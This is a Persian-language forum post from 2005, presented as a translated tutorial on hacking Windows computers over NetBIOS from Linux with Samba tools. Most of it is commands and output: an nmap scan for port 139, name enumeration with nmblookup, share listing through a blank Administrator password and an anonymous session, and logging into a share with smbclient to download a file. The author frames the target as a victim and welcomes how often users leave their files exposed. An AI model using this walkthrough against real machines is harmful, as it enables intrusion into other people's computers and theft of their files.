PDA

نسخه کامل مشاهده نسخه کامل : Samba چيست؟



K053_LSH_KV90
28-08-2005, 10:18
احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم.
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نمي‌تونيد روش‌هايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستم‌عاملش رو فرض مي‌کنيم که ويندوزه. پس ما مي‌خوايم با لينوکس يک سيستم‌عامل ويندوز را که ۱۳۹ باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست.
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمي‌نويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد :) به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد ! :)


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده مي‌کنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. مي‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ۱۳۹ باز دارند. براي اين کار مي‌نويسم:

# nmap -sS -O 192.168.3.1-50 -p 139
و جواب مي‌شنوم:

st 1 open and 1 closed TCP port
Interesting ports on (192.168.3.2):
Port State Service
139/tcp open netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,

or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست .

۲- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن ! :) به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم :

# nmblookup –A 192.168.3.2
و جواب مي‌گيرم:

Looking up status of 192.168.3.2
ARMINLAPTOP <00> - B < ACTIVE>
WORKGROUP <00> - < GROUP> B < ACTIVE>
ARMINLAPTOP <03> - B < ACTIVE>
ARMINLAPTOP <20> - B < ACTIVE>
WORKGROUP <1e> - < GROUP> B < ACTIVE>
ADMINISTRATOR <03> - B < ACTIVE>
WORKGROUP <1d> - B < ACTIVE>
..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>
همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :)

۳- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم :) حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده :) حالا مي‌خواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همين‌کار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه ! :) مي‌نويسم:

# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2
نتيجه دستور به صورت زير است:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
ADMIN$ Disk Remote Admin
C$ Disk Default share
Armin Disk

Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP

Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه مي‌فرماييد که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ):

# smbclient -LARMINLAPTOP -I 192.168.3.2
و جواب:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED

Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP

Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره !

۴- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مي‌نويسيم:

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2
و جواب مي‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نمي‌تونيم انجام بديم. مثلا مي‌تونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار مي‌کنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم :

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator
و جواب مي‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>
اين </: smb مثل خط فرمان مي‌مونه و مي‌تونين دستورات رو تايپ کنيد براش. کار تمومه! هر کاري که دوست داشته باشين ميتونين با اين راه رو هر Share اي انجام بديد :) مثلا مي‌نويسم:

smb: \> ls
و جواب مي‌شنوم:

. DA 0 Sat Feb 8 05:34:11 2003
.. DA 0 Sat Feb 8 05:34:11 2003
Blcorp D 0 Sat Feb 8 03:05:51 2003

47943 blocks of size 65536. 8261 blocks available
و ادامه مي‌دم به صورت زير:

smb: \> cd Blcorp
smb: \Blcorp\> ls
. D 0 Sat Feb 8 03:05:51 2003
.. D 0 Sat Feb 8 03:05:51 2003
WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002

47943 blocks of size 65536. 8261 blocks available
smb: \Blcorp\> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: \Blcorp\>
شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نمي‌گيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !


- FAQ

- آيا Samba به نا امني Netbios ويندوز است ؟
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستم‌عامل ويندوز مي‌خوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست:

C:\>nbtstat -A 192.168.3.1

Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []

Host not found
- يک نفوذ بدون مشکل جدي چقدر طول مي‌کشه ؟
موقع هک کردن Client بايد سريع باشيد ! کل اين مراحل حداکثر 3 يا 4 دقيقه وقت ميگيره , فقط نوشتنش طول ميکشه! :)

- چرا هک کردن Netbios از طريق Unix/Linux راحت تر از Windows هست ؟
خب خيلي سريع تره، ابزارهاي بهتر و از همه مهم‌تر اينکه خودتون در معرض خطر نيستيد :)
Araz Samadi ترجمه كرده